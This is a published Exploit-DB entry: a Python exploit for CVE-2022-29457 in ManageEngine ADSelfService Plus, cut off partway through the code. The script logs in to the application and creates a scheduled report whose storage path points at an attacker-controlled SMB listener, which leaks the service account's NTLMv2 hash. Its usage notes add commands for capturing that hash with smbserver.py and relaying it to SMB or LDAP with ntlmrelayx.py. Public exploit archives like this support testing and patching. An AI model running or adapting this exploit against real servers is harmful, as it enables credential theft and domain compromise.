Exploit-DB #50904
Description: ManageEngine ADSelfService Plus Build 6118 - NTLMv2 Hash Exposure
Type: remote
Platform: windows
Date: 2022-05-11
Author: Metin Yunus Kandemir

Exploit:
# Exploit Title: ManageEngine ADSelfService Plus Build 6118 - NTLMv2 Hash Exposure
# Exploit Author: Metin Yunus Kandemir
# Vendor Homepage: https://www.manageengine.com/
# Software Link: https://www.manageengine.com/products/self-service-password/download.html
# Details: https://docs.unsafe-inline.com/0day/multiple-manageengine-applications-critical-information-disclosure-vulnerability
# Version: ADSelfService Plus Build < 6121
# Tested against: Build 6118
# CVE: CVE-2022-29457

# !/usr/bin/python3
import argparse
import requests
import urllib3
import random
import sys

"""
1- 
a)Set up SMB server to capture NTMLv2 hash.
python3 smbserver.py share . -smb2support

b)For relaying to SMB:
python3 ntlmrelayx.py -smb2support -t smb://TARGET

c)For relaying to LDAP:
python3 ntlmrelayx.py -t ldaps://TARGET

2- Fire up the exploit.
You will obtain the NTLMv2 hash of user/computer account that runs the ADSelfService in five minutes.
"""

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def get_args():
    parser = argparse.ArgumentParser(
        epilog="Example: exploit.py -t https://Target/ -l Listener-IP -a adselfservice -d unsafe.local -u operator1 -p operator1")
    parser.add_argument('-d', '--domain', required=True, action='store', help='DNS name of the target domain. ')
    parser.add_argument('-a', '--auth', required=True, action='store', help='If you have credentials of the application user, type adselfservice. If you have credentials of the domain user, type domain')
    parser.add_argument('-u', '--user', required=True, action='store')
    parser.add_argument('-p', '--password', required=True, action='store')
    parser.add_argument('-t', '--target', required=True, action='store', help='Target url')
    parser.add_argument('-l', '--listener', required=True, action='store', help='Listener IP to capture NTLMv2 hash')
    args = parser.parse_args()
    return args


def scheduler(domain, auth, target, listener, user, password):
    try:
        with requests.Session() as s:
            gUrl = target
            getCsrf = s.get(url=gUrl, allow_redirects=False, verify=False)
            csrf = getCsrf.cookies['_zcsr_tmp']
            print("[*] Csrf token: %s" % getCsrf.cookies['_zcsr_tmp'])
    
            if auth.lower() == 'adselfservice':
                auth = "ADSelfService Plus Authentication"
            data = {
                "loginName": user,
                "domainName": auth,
                "j_username": user,
                "j_password": password,
                "AUTHRULE_NAME": "ADAuthenticator",
                "adscsrf": [csrf, csrf]
            }

            #Login
            url = target + "j_security_check"
            headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0"}
            req = s.post(url, data=data, headers=headers, allow_redirects=True, verify=False)
            #Auth Check
            url2 = target + "webclient/index.html"
            req2 = s.get(url2, headers=headers, allow_redirects=False, verify=False)
            if req2.status_code == 200:
                print("[+] Authentication is successful.")
            elif req2.status_code == 302:
                print("[-] Login failed.")
                sys.exit(1)
            else:
                print("[-] Something went wrong")
                sys.exit(1)
                        
            dn = domain.split(".")
            r1 = random.randint(1, 1000)
        
            surl = target + 'ServletAPI/Reports/saveReportScheduler'
            data = {
                'SCHEDULE_ID':'0',
                'ADMIN_STATUS':'3',
                'SCHEDULE_NAME': 'enrollment' + str(r1),
                'DOMAINS': '["'+ domain +'"]',
                'DOMAIN_PROPS': '{"'+ domain +'":{"OBJECT_GUID":"{*}","DISTINGUISHED_NAME":"DC='+ dn[0] +',DC='+ dn[1] +'","DOMAIN_SELECTED_OUS_GROUPS":{"ou":[{"OBJECT_GUID":"{*}","DISTINGUISHED_NAME":"DC='+ dn[0] +',DC='+ dn[1] +'","NAME":"'+ domain +'"}]}}}',
                'SELECTED_REPORTS': '104,105',
                'SELECTED_REPORT_LIST': '[{"REPORT_CATEGORY_ID":"3","REPORT_LIST":[{"CATEGORY_ID":"3","REPORT_NAME":"adssp.reports.enroll_rep.enroll.heading","IS_EDIT":false,"SCHEDULE_ELEMENTS":[],"REPORT_ID":"104"},{"CATEGORY_ID":"3","REPORT_NAME":"adssp.common.text.non_enrolled_users","IS_EDIT":true,"SCHEDULE_ELEMENTS":[{"DEFAULT_VALUE":false,"size":"1","ELEMENT_VALUE":false,"uiText":"adssp_reports_enroll_rep_non_enroll_show_notified","name":"SHOW_NOTIFIED","id":"SHOW_NOTIFIED","TYPE":"checkbox","class":"grayfont fntFamily fntSize"}],"REPORT_ID":"105"}],"REPORT_CATEGORY_NAME":"adssp.xml.reportscategory.enrollment_reports"}]',
                'SCHEDULE_TYPE': 'hourly',
                'TIME_OF_DAY': '0',
                'MINS_OF_HOUR': '5',
                'EMAIL_ID': user +'@'+ domain,
                'NOTIFY_ADMIN': 'true',
                'NOTIFY_MANAGER': 'false',
                'STORAGE_PATH': '\\\\' + listener + '\\share',
                'FILE_FORMAT': 'HTML',
                'ATTACHMENT_TYPE': 'FILE',
                'ADMIN_MAIL_PRIORITY': 'Medium',
                'ADMIN_MAIL_SUBJECT': 'adssp.reports.schedule_reports.mail_settings_sub',
                'ADMIN_MAIL_CONTENT': 'adssp.reports.schedule_reports.mail_settings_msg_html',
                'MANAGER_FILE_FORMAT': 'HTML',
                'MANAGER_ATTACHMENT_TYPE': 'FILE',
                'MANAGER_MAIL_SUBJECT': 'adssp.reports.schedule_reports.mail_settings_mgr_sub',
                'MANAGER_MAIL_CONTENT': 'adssp.reports.schedule_reports.mail_settings_mgr_msg_html',
                'adscsrf': csrf
                }
            sch = s.post(surl, data=data, headers=headers, allow_redirects=False, verify=False)
            if 'adssp.reports.schedule_reports.storage_path.unc_storage_path' in sch.text:
                print('[-] The target i